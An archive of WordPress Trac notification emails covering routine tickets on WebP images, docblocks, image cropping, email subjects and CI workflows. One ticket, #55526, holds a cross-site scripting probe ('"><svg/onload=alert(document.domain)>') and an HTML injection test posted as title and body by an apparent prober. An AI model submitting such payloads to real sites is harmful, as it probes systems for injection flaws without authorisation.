Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: 4.9.4 Severity: normal | Resolution: Keywords: has-patch needs-testing dev- | Focuses: rest-api feedback needs-unit-tests has-testing-info | -------------------------------------------------+------------------------- Comment (by jnz31): i'm bumping into this problem for the third time now. and each time i come to the conclusion, that i don't need the permissions check. can we get a filter to disable the check once and for all? -- Ticket URL: <https://core.trac.wordpress.org/ticket/41445#comment:49> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 16:47:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 16:47:22 -0000 Subject: [wp-trac] [WordPress Trac] #55443: Create WebP sub-sizes and use for output In-Reply-To: <059.ca56f5c85c01a14ae68fdc38f60b9c06@wordpress.org> References: <059.ca56f5c85c01a14ae68fdc38f60b9c06@wordpress.org> Message-ID: <074.c1856a7a1575fd4bb5bd1b13106b1341@wordpress.org> #55443: Create WebP sub-sizes and use for output -------------------------------------------------+------------------------- Reporter: adamsilverstein | Owner: | adamsilverstein Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: testing needs-dev-note needs-docs needs-codex | performance -------------------------------------------------+------------------------- Comment (by adamsilverstein): > When converting medium-resolution photographs (approx 1600px – 2500px on the long edge), WebP files are often larger than the JPEG equivalent. (In my tests using my own photography, in around 60% of cases.) This change might make the “modern image format” test of Page Speed Insights happy, but enforcing WebP by default on sites which use a lot of photography will often cause longer image loading times. Hey @markhowellsmead - thanks for the feedback. Are you comparing compression you achieve on your own desktop machine or on your WordPress site? WordPress may not show the same results for the sub-sizes it generates, since the compression relies on GD/Imagick which may not have the latest compression algorithms. If you are compressing, uploading and using the "original" uploaded image you may indeed be able to get better sizes with JPEG, however that isn't the way most images are used (instead, users upload large originals and WordPress compresses various sub sizes for display). Could you describe your workflow (and also what compression approach you use, is it MozJPEG?)? Part of this proposal includes storing the generated file size, one thing we are considering is always choosing the smaller image (at display time), especially since compression effectiveness can vary by image and size. Could you provide a sample original image we could test with where the WebP version is larger? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55443#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 17:09:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 17:09:48 -0000 Subject: [wp-trac] [WordPress Trac] #55522: Misleading method names plugin_dir_path and plugin_dir_url In-Reply-To: <060.ee972da12e197e47f5823313dedb8bbd@wordpress.org> References: <060.ee972da12e197e47f5823313dedb8bbd@wordpress.org> Message-ID: <075.8753be20595ff27f0f8df7f0dfd8374c@wordpress.org> #55522: Misleading method names plugin_dir_path and plugin_dir_url ------------------------------+------------------------------ Reporter: subrataemfluence | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Plugins | Version: 5.9.2 Severity: normal | Resolution: Keywords: has-patch | Focuses: accessibility ------------------------------+------------------------------ Comment (by joyously): What is the problem you are trying to solve? I think you can't make these changes or you will break some code. The change for using `WP_CONTENT_DIR . '/plugins' ` is bad, since the plugins folder could have been changed to something else using `define( 'WP_PLUGIN_DIR', 'somethingelse' );` unrelated to `WP_CONTENT_DIR` or `/plugins'. The change for `plugin_dir_url` makes the same call either way, which is the default for those parameters, so why change it? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55522#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 17:43:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 17:43:28 -0000 Subject: [wp-trac] [WordPress Trac] #55441: In wp_insert_term, pass $args as an additional parameter to after-insert actions (create_term, created_term, et al) In-Reply-To: <051.80966e4799316bbd47b607a57d393a55@wordpress.org> References: <051.80966e4799316bbd47b607a57d393a55@wordpress.org> Message-ID: <066.2be6fe1e570fb52015f04ef04214e248@wordpress.org> #55441: In wp_insert_term, pass $args as an additional parameter to after-insert actions (create_term, created_term, et al) -------------------------+----------------------------- Reporter: mboynes | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Future Release Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: needs-patch | Focuses: -------------------------+----------------------------- Changes (by mboynes): * Attachment "55441.diff" added. Adds $args to all actions/filters in wp_insert_term and wp_update_term -- Ticket URL: <https://core.trac.wordpress.org/ticket/55441> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 17:51:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 17:51:26 -0000 Subject: [wp-trac] [WordPress Trac] #55441: In wp_insert_term, pass $args as an additional parameter to after-insert actions (create_term, created_term, et al) In-Reply-To: <051.80966e4799316bbd47b607a57d393a55@wordpress.org> References: <051.80966e4799316bbd47b607a57d393a55@wordpress.org> Message-ID: <066.78422e4981cabd6dfc07a5a09a73a573@wordpress.org> #55441: In wp_insert_term, pass $args as an additional parameter to after-insert actions (create_term, created_term, et al) -------------------------+----------------------------- Reporter: mboynes | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Future Release Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: -------------------------+----------------------------- Changes (by mboynes): * keywords: needs-patch => has-patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/55441#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 18:24:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 18:24:33 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.b1d5dfef5ba6b1a5189963028fe3ae05@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53060" 53060]: {{{ #!CommitTicketReference repository="" revision="53060" Docs: Add missing description for `$pagenow` global in various functions. See #54729, #55499. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:58> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 18:24:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 18:24:33 -0000 Subject: [wp-trac] [WordPress Trac] #55499: $pagenow is used but not define in documentation of this function add_customize_screen_to_heartbeat_settings() In-Reply-To: <053.d973e53e11c67a0499e608bd6b3a847e@wordpress.org> References: <053.d973e53e11c67a0499e608bd6b3a847e@wordpress.org> Message-ID: <068.befe08a0c3a6d0801701bc9d3f947ed8@wordpress.org> #55499: $pagenow is used but not define in documentation of this function add_customize_screen_to_heartbeat_settings() -------------------------------------+----------------------------- Reporter: jontyravi | Owner: SergeyBiryukov Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Customize | Version: 4.9 Severity: normal | Resolution: fixed Keywords: has-patch needs-refresh | Focuses: docs -------------------------------------+----------------------------- Comment (by SergeyBiryukov): In [changeset:"53060" 53060]: {{{ #!CommitTicketReference repository="" revision="53060" Docs: Add missing description for `$pagenow` global in various functions. See #54729, #55499. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55499#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 18:37:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 18:37:38 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.cad1c6efd8bdbf5e44e6b5b51b48fa7b@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53061" 53061]: {{{ #!CommitTicketReference repository="" revision="53061" Docs: Add missing description for `$typenow` global in various functions. Follow-up to [53060]. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:59> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 18:41:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 18:41:28 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.e85ba60b4eef8ca7f30c7fd3d786b958@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53062" 53062]: {{{ #!CommitTicketReference repository="" revision="53062" Docs: Add missing description for `$taxnow` global in various functions. Follow-up to [53060], [53061]. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:60> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 19:10:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 19:10:46 -0000 Subject: [wp-trac] [WordPress Trac] #55525: Clicking "Next" from last lesson in section within Learn courses results in 404 Message-ID: <053.274828c0daaed86a99f104ce96601f46@wordpress.org> #55525: Clicking "Next" from last lesson in section within Learn courses results in 404 --------------------------------+----------------------------- Reporter: felsonm20 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: WordPress.org Site | Version: Severity: normal | Keywords: Focuses: docs | --------------------------------+----------------------------- **Steps to reproduce** Open the learn webpage and click on all courses and then click on the first course [https://learn.wordpress.org/course/getting-started-with- wordpress-get-setup/ Getting Started with WordPress: Get Set Up]. Once you are on the first chapter, click on Next until you move to the end of the chapter. Then click Next one more time. **Expected behavior** One should be able to move to the next section. **Actual behavior** The user gets the message "Oops! That page can't be found." -- Ticket URL: <https://core.trac.wordpress.org/ticket/55525> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 19:17:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 19:17:35 -0000 Subject: [wp-trac] [WordPress Trac] #54410: GH Actions: Consider revising the Coding Standards actions to only scan modified files. In-Reply-To: <051.d5a98387bb5ff305a3b12b78b2ac686c@wordpress.org> References: <051.d5a98387bb5ff305a3b12b78b2ac686c@wordpress.org> Message-ID: <066.b4b17b6db2260614692beabb4335f9d9@wordpress.org> #54410: GH Actions: Consider revising the Coding Standards actions to only scan modified files. ------------------------------+------------------------- Reporter: costdev | Owner: (none) Type: enhancement | Status: closed Priority: normal | Milestone: Component: Build/Test Tools | Version: Severity: normal | Resolution: maybelater Keywords: close | Focuses: ------------------------------+------------------------- Changes (by jorbin): * status: new => closed * resolution: => maybelater * milestone: Awaiting Review => Comment: As @desrosj said, the undrerlying problem of slow performance has been fixed. Therefore, I am marking this as `maybelater` though since if WordPress Core ever switched to github first, this is something that should be reconsidered. Discussion can continue, but barring a major change like that or some other piece of new information, I think closure is the best route. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54410#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 19:56:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 19:56:24 -0000 Subject: [wp-trac] [WordPress Trac] #54760: If Site Title is empty don't use '[ ]' as site title in email but domain name In-Reply-To: <053.4831db95825e9573654d3451b16c48b1@wordpress.org> References: <053.4831db95825e9573654d3451b16c48b1@wordpress.org> Message-ID: <068.334cfc5ceb57da6ed16dfef7d1bdb57b@wordpress.org> #54760: If Site Title is empty don't use '[ ]' as site title in email but domain name -------------------------------------------------+------------------------- Reporter: Presskopp | Owner: audrasjb Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.0 Component: Mail | Version: 5.5 Severity: normal | Resolution: Keywords: has-patch commit assigned-for- | Focuses: commit | administration -------------------------------------------------+------------------------- Changes (by audrasjb): * keywords: has-patch needs-refresh => has-patch commit assigned-for- commit Comment: As I'm not sure this feature deserves its own function, let's commit it as it is right now. We can still add the function later if needed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54760#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 19:59:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 19:59:48 -0000 Subject: [wp-trac] [WordPress Trac] #54742: Fix GHA on first runs for new branches In-Reply-To: <057.2b762651a0032089b61efcef3d85c914@wordpress.org> References: <057.2b762651a0032089b61efcef3d85c914@wordpress.org> Message-ID: <072.75452d6a4fbcbdef6e023822d48e32df@wordpress.org> #54742: Fix GHA on first runs for new branches ------------------------------+--------------------- Reporter: davidbaumwald | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ------------------------------+--------------------- Changes (by desrosj): * milestone: Awaiting Review => 6.0 Comment: I've attached a fix attempt. The PR adds a check for the `total_count` field found in the API response to ensure there is at least one response before attempting to access it. If there are no previous runs, a default of `failure` will be used. This will trigger the "fixed" job, which will post to Slack that the workflow is now passing. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54742#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 20:13:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 20:13:37 -0000 Subject: [wp-trac] [WordPress Trac] #55526: "><svg/onload=alert(document.domain)> Message-ID: <052.bec041ed195f42ba6fdb86235ae38070@wordpress.org> #55526: "><svg/onload=alert(document.domain)> -------------------------+------------------------------- Reporter: kingcrow | Owner: (none) Type: enhancement | Status: assigned Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.8.3 Severity: normal | Keywords: reporter-feedback Focuses: | -------------------------+------------------------------- "><svg/onload=alert(document.domain)> -- Ticket URL: <https://core.trac.wordpress.org/ticket/55526> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 20:14:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 20:14:22 -0000 Subject: [wp-trac] [WordPress Trac] #55526: "><svg/onload=alert(document.domain)> In-Reply-To: <052.bec041ed195f42ba6fdb86235ae38070@wordpress.org> References: <052.bec041ed195f42ba6fdb86235ae38070@wordpress.org> Message-ID: <067.f653c7671451c966c4578eb374c04710@wordpress.org> #55526: "><svg/onload=alert(document.domain)> -------------------------------+------------------------------ Reporter: kingcrow | Owner: (none) Type: enhancement | Status: assigned Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.8.3 Severity: normal | Resolution: Keywords: reporter-feedback | Focuses: -------------------------------+------------------------------ Changes (by kingcrow): * Attachment "REPORT ON SQLI.pdf" added. "><svg/onload=alert(document.domain)> -- Ticket URL: <https://core.trac.wordpress.org/ticket/55526> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 20:14:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 20:14:32 -0000 Subject: [wp-trac] [WordPress Trac] #55526: "><svg/onload=alert(document.domain)> In-Reply-To: <052.bec041ed195f42ba6fdb86235ae38070@wordpress.org> References: <052.bec041ed195f42ba6fdb86235ae38070@wordpress.org> Message-ID: <052.bec041ed195f42ba6fdb86235ae38070@wordpress.org> #55526: "><svg/onload=alert(document.domain)> -------------------------------+------------------------------ Reporter: kingcrow | Owner: (none) Type: enhancement | Status: assigned Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.8.3 Severity: normal | Resolution: Keywords: reporter-feedback | Focuses: -------------------------------+------------------------------ Changes (by kingcrow): * Attachment "REPORT ON SQLI.pdf" removed. "><svg/onload=alert(document.domain)> -- Ticket URL: <https://core.trac.wordpress.org/ticket/55526> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 20:17:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 20:17:16 -0000 Subject: [wp-trac] [WordPress Trac] #55526: <H1>hello</h1> Message-ID: <052.bec041ed195f42ba6fdb86235ae38070@wordpress.org> #55526: <H1>hello</h1> --------------------------+----------------------------- Reporter: kingcrow | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.8.2 Severity: normal | Keywords: 2nd-opinion Focuses: | --------------------------+----------------------------- <H1>helhhhlo</h1> -- Ticket URL: <https://core.trac.wordpress.org/ticket/55526> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 20:17:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 20:17:38 -0000 Subject: [wp-trac] [WordPress Trac] #55526: <H1>hello</h1> In-Reply-To: <052.bec041ed195f42ba6fdb86235ae38070@wordpress.org> References: <052.bec041ed195f42ba6fdb86235ae38070@wordpress.org> Message-ID: <067.d16c83a2cb41b031e4b5a37a532d00d8@wordpress.org> #55526: <H1>hello</h1> --------------------------+------------------------------ Reporter: kingcrow | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.8.2 Severity: normal | Resolution: Keywords: 2nd-opinion | Focuses: --------------------------+------------------------------ Changes (by kingcrow): * Attachment "log4jshell.pdf" added. "><svg/onload=alert(document.domain)> -- Ticket URL: <https://core.trac.wordpress.org/ticket/55526> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 20:17:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 20:17:55 -0000 Subject: [wp-trac] [WordPress Trac] #55526: <H1>hello</h1> In-Reply-To: <052.bec041ed195f42ba6fdb86235ae38070@wordpress.org> References: <052.bec041ed195f42ba6fdb86235ae38070@wordpress.org> Message-ID: <052.bec041ed195f42ba6fdb86235ae38070@wordpress.org> #55526: <H1>hello</h1> --------------------------+------------------------------ Reporter: kingcrow | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.8.2 Severity: normal | Resolution: Keywords: 2nd-opinion | Focuses: --------------------------+------------------------------ Changes (by kingcrow): * Attachment "log4jshell.pdf" removed. "><svg/onload=alert(document.domain)> -- Ticket URL: <https://core.trac.wordpress.org/ticket/55526> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 20:19:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 20:19:26 -0000 Subject: [wp-trac] [WordPress Trac] #54760: If Site Title is empty don't use '[ ]' as site title in email but domain name In-Reply-To: <053.4831db95825e9573654d3451b16c48b1@wordpress.org> References: <053.4831db95825e9573654d3451b16c48b1@wordpress.org> Message-ID: <068.5aa47f40577a56a7173d5b602c53ae70@wordpress.org> #54760: If Site Title is empty don't use '[ ]' as site title in email but domain name -------------------------------------------------+------------------------- Reporter: Presskopp | Owner: audrasjb Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Mail | Version: 5.5 Severity: normal | Resolution: fixed Keywords: has-patch commit assigned-for- | Focuses: commit | administration -------------------------------------------------+------------------------- Changes (by audrasjb): * status: reviewing => closed * resolution: => fixed Comment: In [changeset:"53063" 53063]: {{{ #!CommitTicketReference repository="" revision="53063" Mail: Replace empty site title with domain name in email subjects. This change replaces site title with domain name in email subjects when the `blogname` option is empty. Props Presskopp, kebbet, audrasjb, azouamauriac. Fixes #54760. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54760#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 20:51:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 20:51:37 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.e60ccb31ebe81266f2ecb2f44994033e@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53064" 53064]: {{{ #!CommitTicketReference repository="" revision="53064" Docs: Use third-person singular verbs for function descriptions in `WP_Automatic_Updater` class, per the documentation standards. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:61> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 20:52:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 20:52:03 -0000 Subject: [wp-trac] [WordPress Trac] #42474: bulk_edit_posts should honor the show_in_quick_edit property of taxonomies In-Reply-To: <050.81ed0281315d9cf8d32d1d2e89f90090@wordpress.org> References: <050.81ed0281315d9cf8d32d1d2e89f90090@wordpress.org> Message-ID: <065.b1377dc0221ab9a0936e46c753ae80f2@wordpress.org> #42474: bulk_edit_posts should honor the show_in_quick_edit property of taxonomies -----------------------------+------------------------------ Reporter: Chouby | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Quick/Bulk Edit | Version: Severity: normal | Resolution: Keywords: commit | Focuses: performance -----------------------------+------------------------------ Changes (by marybaum): * keywords: has-patch needs-testing => commit Comment: In a scrub of the component, @webcommsat, @arslan and I tested the latest .diff from @costdev, and it works. Recommend commit! -- Ticket URL: <https://core.trac.wordpress.org/ticket/42474#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 21:24:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 21:24:50 -0000 Subject: [wp-trac] [WordPress Trac] #41833: Excerpt disappear in excerpt mode post list, after quick edit In-Reply-To: <052.2fc790b84d9b7f6d6fa7c67a6ba76c70@wordpress.org> References: <052.2fc790b84d9b7f6d6fa7c67a6ba76c70@wordpress.org> Message-ID: <067.99bfa4e868621d952f0dafa1bd26d54e@wordpress.org> #41833: Excerpt disappear in excerpt mode post list, after quick edit -----------------------------+------------------------------ Reporter: satnapar | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Quick/Bulk Edit | Version: 4.8.1 Severity: normal | Resolution: Keywords: close | Focuses: -----------------------------+------------------------------ Changes (by sabernhardt): * keywords: => close Comment: This apparently has been fixed since 4.9 (in that version, I was able to reproduce the missing excerpt after using Quick Edit on a post). I'll look for what fixed it so I can set the resolution to "fixed" instead of just "works for me" :) -- Ticket URL: <https://core.trac.wordpress.org/ticket/41833#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 21:48:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 21:48:24 -0000 Subject: [wp-trac] [WordPress Trac] #55512: Gallery gap adjustment in Gutenberg 12.9.0 does not work In-Reply-To: <052.ec3b8aa8af75e0e600fa20033f017c63@wordpress.org> References: <052.ec3b8aa8af75e0e600fa20033f017c63@wordpress.org> Message-ID: <067.c7cdf5896bf51e6405da5a26f88b0d28@wordpress.org> #55512: Gallery gap adjustment in Gutenberg 12.9.0 does not work --------------------------+------------------------------ Reporter: burnuser | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: Gallery | Version: 5.9.2 Severity: normal | Resolution: invalid Keywords: close | Focuses: --------------------------+------------------------------ Changes (by glendaviesnz): * keywords: => close * status: new => closed * resolution: => invalid Comment: Thanks for the extra detail @burnuser This issue was fixed here https://github.com/WordPress/gutenberg/pull/39788 and this fix will be included in release 13.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55512#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 00:41:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 00:41:57 -0000 Subject: [wp-trac] =?utf-8?q?=5BWordPress_Trac=5D_=2355526=3A_WordPress_5?= =?utf-8?b?LjkuMiBpeWkgZGV5aWwgeWF2YcWf?= Message-ID: <054.49cd0950aae678419c60f05827335a5e@wordpress.org> #55526: WordPress 5.9.2 iyi deyil yavaş --------------------------+----------------------------- Reporter: bakiyisite | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- WordPress 5.9.2 iyi deyil yavaş daha önceki daha iyiydi lutfen daha önceki geri yüklemenizi istiyorum -- Ticket URL: <https://core.trac.wordpress.org/ticket/55526> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 00:51:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 00:51:11 -0000 Subject: [wp-trac] [WordPress Trac] #55070: Image Editing Cropping is not working properly In-Reply-To: <051.999fb09cf1346fd9db383fea344080be@wordpress.org> References: <051.999fb09cf1346fd9db383fea344080be@wordpress.org> Message-ID: <066.fc48bd6cfeac109139b1bac2ee56fced@wordpress.org> #55070: Image Editing Cropping is not working properly ---------------------------------------+--------------------- Reporter: andy786 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Media | Version: 5.9 Severity: critical | Resolution: Keywords: has-patch has-screenshots | Focuses: ---------------------------------------+--------------------- Changes (by ironprogrammer): * keywords: has-patch => has-patch has-screenshots Comment: == Test Report [https://github.com/WordPress/wordpress-develop/pull/2489 PR 2489] LGTM! 👍🏻 === Env * WordPress 6.0-alpha-52448-src * Safari 15.4 * Chrome 100.0.4896.60 * macOS 12.3.1 (Monterey) * Gutenberg DISABLED 🔴 === Steps to Test 1. Under ''Settings > Media Settings'', check the currently configured "Large size" image dimensions (default is 1024x1024). 1. Upload a very large image to ''Media > Media Library'' (anything over the configured "Large size" above should work). 1. After upload, with the selected image, click the **Edit Image** button under the preview. 1. Click the **Crop** button and either adjust the crop using the handles overlay on the image, or by entering new dimensions in the ''IMAGE CROP > Selection'' sidebar. Set the crop to smaller than the site's configured "Large size", and click **Crop** again to apply the change. Observe that the image displayed refreshes to the cropped version. ✅ 1. Click the **Save** button. Observe that the image refreshes and shows the original un-cropped version. ❌ 1. 🛠 **Apply the patch, then refresh the ''Media Library'' page.** 1. Restore the original un-cropped image by clicking **Edit Image**, then expanding the ''RESTORE ORIGINAL IMAGE'' sidebar and clicking **Restore image**. (Alternatively, upload a new very large image to work with.) 1. ℹ️ Close the image viewer and re-select the image to re-open it (this is necessary because the crop tool does not reset to the original dimensions after being restored.) 1. Click the **Crop** button and either adjust the crop using the handles overlay on the image, or by entering new dimensions in the ''IMAGE CROP > Selection'' sidebar. Set the crop to smaller than the site's configured "Large size", and click **Crop** again to apply the change. Observe that the image displayed refreshes to the cropped version. ✅ 1. Click the **Save** button. Observe that the image refreshes and shows the cropped version. ✅ === Expected Results (✅) - After cropping a large image to be smaller than the site's configured "Large size", the image preview displays the cropped image. ✅ === Additional Notes The above tests were performed with the "Large size" configured to both 1024x1024 and 1200x1200. === Screenshots [[Image(https://cldup.com/mm_K00ocOX.png, 50%)]] ''Crop applied to large image (Step 9).'' [[Image(https://cldup.com/WGl2Ybq6O8.png, 75%)]] ''Cropped image displayed in preview (Step 10).'' -- Ticket URL: <https://core.trac.wordpress.org/ticket/55070#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 01:21:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 01:21:21 -0000 Subject: [wp-trac] [WordPress Trac] #54647: Blocks: Add support for themes to block API v2 with assets in block.json In-Reply-To: <057.04d95fbe984f01c6c75fb8f49f7a3983@wordpress.org> References: <057.04d95fbe984f01c6c75fb8f49f7a3983@wordpress.org> Message-ID: <072.a65f9a2a2146e72a6ae70e4c1bdc4d98@wordpress.org> #54647: Blocks: Add support for themes to block API v2 with assets in block.json -------------------------------------+--------------------- Reporter: whoisnegrello | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: 5.5 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: -------------------------------------+--------------------- Changes (by peterwilsoncc): * keywords: has-patch needs-testing close => has-patch needs-testing * milestone: Awaiting Review => 6.0 Comment: I'm putting this on the 6.0 milestone as I agree including blocks in themes is a legitimate 